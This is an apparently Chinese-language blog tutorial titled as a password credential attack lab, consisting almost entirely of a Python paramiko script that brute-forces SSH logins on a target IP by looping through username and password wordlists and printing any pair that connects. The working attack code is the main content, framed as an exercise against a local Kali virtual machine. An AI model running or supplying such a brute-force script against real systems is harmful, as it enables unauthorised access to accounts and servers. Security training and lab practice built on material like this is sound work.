#编写python脚本; #将目标主机的SSH服务打开; #利用python脚本完成远程主机利用SSH服务进行连接,检测其用户名密码的过程; #工具:paramiko模块 打开虚拟机(本次实验使用kali操作系统)的SSH服务 #实现SSH登录 import paramiko #创建ssh连接 sshc=paramiko.SSHClient() #第一次连接提示是否继续连接,默认勾选yes sshc.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ip='192.168.19.129'#替换为自己的目标ip地址 try: fuser =open('user1.txt') fpwd = open('password.txt') for luser in fuser: user =luser.strip("\n") print(user) for lpwd in fpwd: pwd = lpwd.strip("\n") try: sshc.connect(ip,22,user,pwd,timeout=20) print("SSH用户名为%s是,密码为%s"%(user,pwd)) except: print("用户名为%s和密码%s失败,重新检测..."%(user,pwd)) continue fpwd.seek(0) fuser.close() fpwd.close() except: print("time out")
口令凭证攻击
最新推荐文章于 2024-07-12 16:16:27 发布